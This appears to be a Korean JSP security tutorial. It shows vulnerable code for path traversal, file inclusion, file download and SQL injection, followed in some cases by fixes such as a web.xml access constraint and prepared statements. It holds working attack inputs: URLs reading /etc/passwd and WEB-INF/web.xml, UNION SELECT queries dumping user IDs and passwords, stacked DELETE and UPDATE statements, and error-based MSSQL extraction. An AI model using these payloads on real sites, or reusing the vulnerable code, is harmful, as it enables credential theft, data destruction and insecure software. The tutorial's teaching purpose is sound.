<%
String param = request.getParameter("param");

File file = new File(request.getRealPath("/")+param);

/* 파일 내용을 읽어 buffer에 저장 */
StringBuffer buffer = new StringBuffer();
if (file.exists()) {
    FileInputStream fis = new FileInputStream(file);
    byte b[] = new byte[1024];
    int read = 0;
    while ((read = fis.read(b)) != -1) {
        buffer.append(new String(b));
        b = new byte[1024];
    }
}
%>
파일내용
<%=buffer.toString()%>;

http://localhost/file.jsp?param=sample.txt

http://localhost/file.jsp?param=../../../WINNT/system32/drivers/etc/services

http://localhost/file.jsp?param=../../../../../etc/passwd   ../ 올라가 보면서 찾아보는것도 좋겠죠 -_-

<%
String param = request.getParameter("param");
%>

파일내용<br>
<jsp:include page="<%=param%>" flush="true"/>

http://localhost/include.jsp?param=sample.txt

<%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
...
String param = request.getParameter("param");
<c:import url="<%=param%>"/>
...

http://localhost/include.jsp?param=http://www.jakartaproject.com/test.jsp

<%@ page import="java.io.*"%><%

String param = request.getParameter("param");
File file = new File(getServletContext().getRealPath("/upload/")+param);

response.setContentType("application/smnet");
response.setHeader("Content-Disposition", "attachment;filename=다운로드;");
response.setHeader("Content-Length", String.valueOf(file.length()));
response.setHeader("Content-Transfer-Encoding", "binary;");

/* 파일이 존재하면 다운로드 */

if (file.exists()) {
    byte b[] = new byte[4096];
    BufferedInputStream bin = new BufferedInputStream(new FileInputStream(file));
    BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
    int read = 0;
    try {
        while ((read = bin.read(b)) != -1){
            outs.write(b,0,read);
        }
    } catch (Exception e) {
        System.out.println(e.getMessage());
    } finally {
        if (bin!=null) try { bin.close(); } catch (Exception sube) {}
        if (outs!=null) try { outs.close(); } catch (Exception sube) {}
    }
}

http://loalhost/download.jsp?param=../WEB-INF/web.xml

<security-constraint>
     <display-name>JSP and Upload File Protection</display-name>
     <web-resource-collection>
         <web-resource-name>SecureFile</web-resource-name>
         <url-pattern>/upload/*</url-pattern>
         <http-method>DELETE</http-method>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
         <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint>
         <role-name>nobody</role-name>
     </auth-constraint>
</security-constraint>

<security-role>
    <description>Nobody should be in this role so JSP files are protected from direct access.</description>
    <role-name>nobody</role-name>
</security-role>

String boardno = request.getParameter("boardno");
rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_test_t WHERE boardno = "+boardno);
    if (rs.next()) {
        out.println(rs.getString(1)+"<br>");
        out.println(rs.getString(2)+"<br>");
        out.println(rs.getString(3)+"<br>");
}

http://localhost:8080/test.jsp?boardno=1133971825719 UNION SELECT '1', userid, userpw FROM user_t INTO OUTFILE 'C:/Tomcat/webapps/ROOT/upload/hack.txt'

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception org.apache.jasper.JasperException org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236) javax.servlet.http.HttpServlet.service(HttpServlet.java:802) com.jakartaproject.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28)

root cause java.lang.NullPointerException org.apache.jsp.test_jsp._jspService(test_jsp.java:64) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94) javax.servlet.http.HttpServlet.service(HttpServlet.java:802) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)

SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다

// 입력받은 사용자 아이디와 비밀번호
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");
rs.next();
if (rs.getInt(1) == 1) {
   // 로그인 성공로직
} else {
   // 로그인 실패로직
}

// 입력받은 사용자 아이디와 비밀번호
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수
//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다
validateID(param1); 
validatePW(param2);

pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");
pstmt.setString(1, param1);
rs = pstmt.executeQuery();
if (rs.next()) {
    // 문자를 직접 비교한다 (대소문자 구분)
    if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {
         // 로그인 성공로직
    } else {
        // 로그인 비밀번호 혹은 아이디 오류 로직
    }
} else {
    //로그인 부재 아이디 오류 로직
}

String param1 = request.getParameter("boardno");

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");
if (rs.next()) {
    out.println(rs.getString(1)+"<br>");
    out.println(rs.getString(2)+"<br>");
    out.println(rs.getString(3)+"<br>");
}

/read.jsp?bno=1134896409234

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --

/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'

/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.
/read.asp, line 5

/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.
/read.asp, line 5